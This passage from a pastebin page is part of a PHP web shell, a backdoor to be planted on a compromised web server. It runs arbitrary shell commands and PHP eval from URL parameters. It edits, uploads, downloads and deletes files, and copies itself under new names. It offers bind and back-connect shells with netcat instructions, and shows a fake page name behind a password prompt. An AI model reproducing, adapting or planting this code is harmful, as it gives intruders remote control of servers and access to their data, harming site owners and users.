  958.                 $newdir = trim($dc[1]);
  959.                 if(is_dir($newdir)){
  960.                         $xCwd = xcleanpath($newdir);
  961.                 }
  962.                 $result = xdir($xCwd);
  963.         }
  964.         else {
  965.                 $result = ekse($cmd);
  966.                 if($result != "") $result = nl2br(str_replace(" ","&nbsp;",htmlentities($result)));
  967.                 else {
  968.                         $result = xdir($xCwd);
  969.                 }
  970.         }
  971.  
  972. }
  973. elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
  974.         $result = htmlspecialchars(xeval($_GET['eval']));
  975. }
  976. elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
  977.         $fname = xcleanpath(xclean($_GET['properties']));
  978.         if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  979.                 $oldname = xclean($_GET['oldfilename']);
  980.                 rename($oldname,$fname);
  981.         }
  982.         $dir = xclean($_GET['dir']);
  983.         $fcont = "";
  984.         $fview = "";
  985.         if(is_dir($fname)){
  986.                 $fsize = "DIR";
  987.                 $fcont = xdir($fname);
  988.                 $faction = "<a href=\"?dir=".xcleanpath(realpath($fname))."&properties=".xcleanpath(realpath($fname))."\">Properties</a> | <a href=\"?dir=".xcleanpath(realpath($fname.".."))."&del=".xcleanpath(realpath($fname))."\">Remove</a>";
  989.         }
  990.         else{
  991.                 $fname = rtrim($fname,DIRECTORY_SEPARATOR);
  992.                 $fsize = xparsefilesize(xfilesize($fname))." <span class=\"gaul\">( </span>".xfilesize($fname)." bytes<span class=\"gaul\"> )</span>";
  993.                 $type = "";
  994.                 if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
  995.                 $iinfo = getimagesize($fname);
  996.                 $imginfo = "";
  997.                 if($type == ""){
  998.                         if(is_array($iinfo)) $type = 'img';
  999.                         else $type = 'text';
  1000.                 }
  1001.                 if($type == 'code'){
  1002.                         if($code = xhighlight($fname))
  1003.                         $fcont = "<div class=\"boxcode\">".$code."</div>";
  1004.                 }
  1005.                 elseif($type == 'img'){
  1006.                         $width = (int) $iinfo[0];
  1007.                         $height = (int) $iinfo[1];
  1008.                         $imginfo = "Image type = ( ".$iinfo['mime']." )<br />Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
  1009.                         if($width > 800){
  1010.                                 $width = 800;
  1011.                                 $imglink = "<p><a href=\"?img=".$fname."\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
  1012.                         }
  1013.                         else $imglink = "";
  1014.  
  1015.                         $fcont = "<div style=\"text-align:center;width:100%;\">".$imglink."<img width=\"".$width."\" src=\"?img=".$fname."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
  1016.                 }
  1017.                 else{
  1018.                         $code = htmlspecialchars(file_get_contents($fname));
  1019.                         $fcont = "<div class=\"boxcode\">".nl2br($code)."</div>";
  1020.                 }
  1021.                 $faction = "<a href=\"?dir=".xcleanpath($dir)."&view=".$fname."\">Edit</a> | <a href=\"?get=".$fname."\">Download</a> | <a href=\"?dir=".xcleanpath($dir)."&del=".$fname."\">Remove</a>";
  1022.                 $fview = "<a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
  1023.         }
  1024.         $fowner = xfileowner($fname);
  1025.         $fperm = xfileperms($fname);
  1026.         $result = "<div style=\"display:inline;\">
  1027.        <form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
  1028.        <input type=\"hidden\" name=\"dir\" value=\"".$dir."\" />
  1029.        <input type=\"hidden\" name=\"oldfilename\" value=\"".$fname."\" />".$faction." |
  1030.        <span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"".$fname."\" />
  1031.        <input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
  1032.        </span>
  1033.        <div class=\"fprop\">
  1034.        Size = ".$fsize."<br />".$imginfo."
  1035.        Owner = <span class=\"gaul\">( </span>".$fowner."<span class=\"gaul\"> )</span><br />
  1036.        Permission = <span class=\"gaul\">( </span>".$fperm."<span class=\"gaul\"> )</span><br />
  1037.        Create Time = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filectime($fname))."<span class=\"gaul\"> )</span><br />
  1038.        Last Modified = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filemtime($fname))."<span class=\"gaul\"> )</span><br />
  1039.        Last Accessed = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@fileatime($fname))."<span class=\"gaul\"> )</span><br />
  1040.        ".$fview."
  1041.        </div>
  1042.        ".$fcont."
  1043.        </form>
  1044.        </div>
  1045.        ";
  1046. }
  1047. elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
  1048.         $msg = "";
  1049.         if(isset($_POST['save']) && ($_POST['save'] == "Save As")){
  1050.                 $file = xclean(trim($_POST['saveAs']));
  1051.                 $content = xclean($_POST['filesource']);
  1052.                 if(xfilesave($file,$content)) $pesan = "File Saved";
  1053.                 else  $pesan = "Failed to save file";
  1054.                 $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>".$pesan."<span class=\"gaul\"> ]</span></span>";
  1055.         }
  1056.         else {
  1057.                 if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
  1058.                 else $file = $xCwd.xclean(trim($_GET['filename']));
  1059.         }
  1060.         $result = xfileopen($file);
  1061.         $result = htmlentities($result);
  1062.         $result = "
  1063.        <p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=".$xCwd."&properties=".$file."\">".xfilesummary($file)."</a>".$msg."</p><div style=\"clear:both;margin:0;padding:0;\"></div>
  1064.        <form action=\"?dir=".$xCwd."&view=".$file."\" method=\"post\">
  1065. <textarea name=\"filesource\" style=\"width:100%;height:200px;\">".$result."</textarea>
  1066.        <input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"".$file."\" />
  1067.        <input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />
  1068.        </form>
  1069.        ";
  1070. }
  1071. else{
  1072.         $result = xdir($xCwd);
  1073. }
  1074. //################# Finalizing #######################======================================================]
  1075. if($auth){
  1076.         if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
  1077.         else $bportC = $shell_fav_port;
  1078.         if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
  1079.         else $lportC = $shell_fav_port;
  1080.         $html_title = $shell_title." ".$xCwd;
  1081.         $html_head = "
  1082. <title>".$html_title."</title>
  1083. <link rel=\"SHORTCUT ICON\" href=\"".$_SERVER['SCRIPT_NAME']."?img=icon\" />
  1084. ".$shell_style."
  1085. <script type=\"text/javascript\">
  1086. function updateInfo(boxid,typ){
  1087.        if(typ == 0){
  1088.                var pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';
  1089.        }
  1090.        else{
  1091.                var pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." __PORT__&quot;';
  1092.        }
  1093.  
  1094.        var portnum = document.getElementById(boxid).value;
  1095.  
  1096.        var hasil = pola.replace('__PORT__', portnum);
  1097.        document.getElementById(boxid+'_').innerHTML = hasil;
  1098. }
  1099. function show(boxid){
  1100.        var box = document.getElementById(boxid);
  1101.        if(box.style.display != 'inline'){
  1102.                document.getElementById('newfile').style.display = 'none';
  1103.                document.getElementById('newfolder').style.display = 'none';
  1104.                document.getElementById('newupload').style.display = 'none';
  1105.                document.getElementById('newchild').style.display = 'none';
  1106.                document.getElementById('newconnect').style.display = 'none';
  1107.                document.getElementById('div_eval').style.display = 'none';
  1108.  
  1109.                box.style.display = 'inline';
  1110.                box.focus();
  1111.        }
  1112.        else box.style.display = 'none';
  1113. }
  1114. function highlighthexdump(address){
  1115.        var target = document.getElementById(address);
  1116.        target.style.background = '".$shell_color."';
  1117. }
  1118. function unhighlighthexdump(address){
  1119.        var target = document.getElementById(address);
  1120.        target.style.background = 'none';
  1121. }
  1122. </script>
  1123. ";
  1124. $html_body = "
  1125. <div id=\"wrapper\">
  1126. <h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\"  onclick=\"window.location= '?';\"><a href=\"?\">".$shell_title."</a></h1>
  1127. <div class=\"box\">".$xHeader."
  1128. <div class=\"fpath\">
  1129. ".xdrive().xparsedir($xCwd)."
  1130. </div>
  1131. <div class=\"menu\">
  1132. <a href=\"javascript:show('newfile');\"><span class=\"gaul\">[ </span> New File<span class=\"gaul\"> ]</span></a>
  1133. <a href=\"javascript:show('newfolder');\"><span class=\"gaul\">[ </span>New Folder<span class=\"gaul\"> ]</span></a>
  1134. <a href=\"javascript:show('newchild');\"><span class=\"gaul\">[ </span>Replicate<span class=\"gaul\"> ]</span></a>
  1135. <a href=\"javascript:show('newupload');\"><span class=\"gaul\">[ </span>Upload<span class=\"gaul\"> ]</span></a>
  1136. <a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShell<span class=\"gaul\"> ]</span></a>
  1137. <a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[ </span>PHP Eval<span class=\"gaul\"> ]</span></a>
  1138. </div>
  1139. <div class=\"hidden\" id=\"newconnect\">
  1140. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1141. <table class=\"tblBox\" style=\"width:100%;\">
  1142. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1143. <tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
  1144. Port&nbsp;<input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"".$bportC."\" />
  1145. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
  1146. </td>
  1147. <td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run &quot;nc -l -p ".$bportC."&quot; and then press Connect</span></td>
  1148. </tr>
  1149. <tr><td>Listen</td><td>
  1150. Port&nbsp;<input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"".$lportC."\" />
  1151. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
  1152. </td>
  1153. <td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." ".$lportC."&quot;</span></td>
  1154. </tr>
  1155. </table>
  1156. </form>
  1157. </div>
  1158. <div class=\"hidden\" id=\"newfolder\">
  1159. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1160. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1161. <table class=\"tblBox\" style=\"width:560px;\">
  1162. <tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
  1163. <input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
  1164. </td><td>
  1165. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
  1166. </td></tr>
  1167. </table>
  1168. </form>
  1169. </div>
  1170. <div class=\"hidden\" id=\"newfile\">
  1171. <form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
  1172. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1173. <table class=\"tblBox\" style=\"width:560px;\">
  1174. <tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
  1175. <input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
  1176. </td><td>
  1177. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
  1178. </td></tr>
  1179. </form>
  1180. </table>
  1181. </div>
  1182. <div class=\"hidden\" id=\"newupload\">
  1183. <form method=\"post\" action=\"?dir=".$xCwd."\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
  1184. <table class=\"tblBox\" style=\"width:560px;\">
  1185. <tr><td style=\"width:120px;\">Save as</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
  1186. <tr><td style=\"width:120px;\">From Url</td><td style=\"width:304px;\">
  1187. <input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
  1188. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
  1189. <tr><td style=\"width:120px;\">From Computer</td><td style=\"width:304px;\">
  1190. <input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
  1191. </td><td>
  1192. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
  1193. </td></tr>
  1194. </table>
  1195. </form>
  1196. </div>
  1197. <div class=\"hidden\" id=\"newchild\">
  1198. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1199. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1200. <table class=\"tblBox\" style=\"width:560px;\">
  1201. <tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
  1202. <input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_name.".php\"; />
  1203. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
  1204. </td></tr>
  1205. </table>
  1206. </form>
  1207. </div>
  1208. <div class=\"hidden\" id=\"div_eval\">
  1209. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1210. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1211. <table class=\"tblBox\" style=\"width:560px;\">
  1212. <tr><td>
  1213. <textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
  1214. </td></tr><tr>
  1215. <td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
  1216. </table>
  1217. </form>
  1218. </div>
  1219. <div class=\"bottomwrapper\">
  1220. <div class=\"cmdbox\">
  1221. <form action=\"?\" method=\"get\">
  1222. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1223. <table style=\"width:100%;\"><tr>
  1224. <td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
  1225. <td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Execute\" /></td></tr></table>
  1226. </form>
  1227. </div>
  1228. <div class=\"result\" id=\"result\">
  1229. ".$result."
  1230. </div></div></div></div>
  1231. ";
  1232. }
  1233. else {
  1234.         $html_title = $shell_fake_name;
  1235.         $html_head = "<title>".$html_title."</title>".$shell_style;
  1236.         $html_body = "<div style=\"margin:30px;\">
  1237. <div>
  1238. <form action=\"?\" method=\"post\">
  1239. <input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
  1240. <input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
  1241. </form>
  1242. </div>
  1243. <div style=\"font-size:10px;\">".$shell_fake_name."</div>
  1244. </div>
  1245. ";
  1246. }
  1247. if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
  1248. else $html_onload = "";
  1249. $html_final = "<html>
  1250. <head>
  1251. ".$html_head."
  1252. </head>
  1253. <body ".$html_onload.">
  1254. <div id=\"mainwrapper\">
  1255. ".$html_body."
  1256. </div>
  1257. </body>
  1258. </html>";
  1259. echo preg_replace("/\s+/"," ",$html_final);
  1260. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!